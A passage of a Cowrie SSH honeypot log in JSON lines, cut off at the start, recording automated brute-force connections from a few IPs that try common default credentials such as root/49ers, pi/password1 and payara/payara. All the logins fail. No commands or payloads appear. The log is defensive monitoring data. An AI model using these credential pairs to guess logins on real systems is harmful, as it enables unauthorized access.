nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:54.201513Z","src_ip":"103.77.175.15","session":"54af2e25857b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38506,"dst_ip":"10.17.0.5","dst_port":22,"session":"838f21653f8a","protocol":"ssh","message":"New connection: 45.153.34.195:38506 (10.17.0.5:22) [session: 838f21653f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:54.955588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:54.959576Z","src_ip":"45.153.34.195","session":"838f21653f8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"49ers","message":"login attempt [root/49ers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:54.991261Z","src_ip":"103.77.175.15","session":"54af2e25857b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:55.040912Z","src_ip":"45.153.34.195","session":"838f21653f8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"password1","message":"login attempt [pi/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:55.287495Z","src_ip":"45.153.34.195","session":"838f21653f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:56.253918Z","src_ip":"103.77.175.15","session":"54af2e25857b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:56.374830Z","src_ip":"45.153.34.195","session":"838f21653f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.2","message":"Connection lost after 29.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:57.031220Z","src_ip":"91.92.40.36","session":"9edbd6ce667b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PassW0rd","message":"login attempt [ubuntu/PassW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:57.238593Z","src_ip":"91.92.40.36","session":"525ccfd65a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38508,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5b522b80431","protocol":"ssh","message":"New connection: 45.153.34.195:38508 (10.17.0.5:22) [session: a5b522b80431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:57.508794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:57.513958Z","src_ip":"45.153.34.195","session":"a5b522b80431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:57.765471Z","src_ip":"45.153.34.195","session":"a5b522b80431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:58.120883Z","src_ip":"45.153.34.195","session":"a5b522b80431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"a","message":"login attempt [user1/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:59.076971Z","src_ip":"91.92.40.36","session":"ab888a34929b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:59.320525Z","src_ip":"45.153.34.195","session":"a5b522b80431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":47920,"dst_ip":"10.17.0.5","dst_port":22,"session":"52efb28db43e","protocol":"ssh","message":"New connection: 103.172.78.219:47920 (10.17.0.5:22) [session: 52efb28db43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:00.184298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:00.189074Z","src_ip":"103.172.78.219","session":"52efb28db43e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38514,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7f80b1fc99c","protocol":"ssh","message":"New connection: 45.153.34.195:38514 (10.17.0.5:22) [session: a7f80b1fc99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:00.263479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:00.271998Z","src_ip":"45.153.34.195","session":"a7f80b1fc99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:00.365364Z","src_ip":"45.153.34.195","session":"a7f80b1fc99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:00.447541Z","src_ip":"103.172.78.219","session":"52efb28db43e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47150,"dst_ip":"159.203.135.109","dst_port":22,"session":"76c93a7f0733","protocol":"ssh","message":"New connection: 91.92.40.36:47150 (159.203.135.109:22) [session: 76c93a7f0733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:00.455778Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"p@ssw0rd","message":"login attempt [user/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:00.743020Z","src_ip":"45.153.34.195","session":"a7f80b1fc99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.2","message":"Connection lost after 27.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:01.218576Z","src_ip":"91.92.40.36","session":"525ccfd65a06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"281287","message":"login attempt [root/281287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:01.223608Z","src_ip":"103.172.78.219","session":"52efb28db43e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:01.826396Z","src_ip":"45.153.34.195","session":"a7f80b1fc99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.0","message":"Connection lost after 22.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:01.887322Z","src_ip":"91.92.40.36","session":"ab888a34929b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:02.129969Z","src_ip":"91.92.40.36","session":"76c93a7f0733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:02.137312Z","src_ip":"91.92.40.36","session":"76c93a7f0733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"payara","password":"payara","message":"login attempt [payara/payara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:02.360568Z","src_ip":"91.92.40.36","session":"3756ac4a5fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:02.486470Z","src_ip":"103.172.78.219","session":"52efb28db43e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":18772,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fdb5e61398e","protocol":"ssh","message":"New connection: 45.153.34.195:18772 (10.17.0.5:22) [session: 1fdb5e61398e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:03.099790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:03.107834Z","src_ip":"45.153.34.195","session":"1fdb5e61398e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:03.184369Z","src_ip":"45.153.34.195","session":"1fdb5e61398e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:03.510053Z","src_ip":"45.153.34.195","session":"1fdb5e61398e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:04.594859Z","src_ip":"45.153.34.195","session":"1fdb5e61398e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:04.969267Z","src_ip":"91.92.40.36","session":"3756ac4a5fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":18788,"dst_ip":"10.17.0.5","dst_port":22,"session":"a60ab6abd270","protocol":"ssh","message":"New connection: 45.153.34.195:18788 (10.17.0.5:22) [session: a60ab6abd270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:05.827528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:05.832404Z","src_ip":"45.153.34.195","session":"a60ab6abd270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:05.932692Z","src_ip":"45.153.34.195","session":"a60ab6abd270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pds","password":"pds","message":"login attempt [pds/pds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:06.187310Z","src_ip":"45.153.34.195","session":"a60ab6abd270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:07.339077Z","src_ip":"45.153.34.195","session":"a60ab6abd270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monkey","password":"monkey","message":"login attempt [monkey/monkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:07.825644Z","src_ip":"91.92.40.36","session":"76c93a7f0733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":18798,"dst_ip":"10.17.0.5","dst_port":22,"session":"66069cb6f709","protocol":"ssh","message":"New connection: 45.153.34.195:18798 (10.17.0.5:22) [session: 66069cb6f709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:08.388210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:08.393302Z","src_ip":"45.153.34.195","session":"66069cb6f709","protocol":"ssh"}
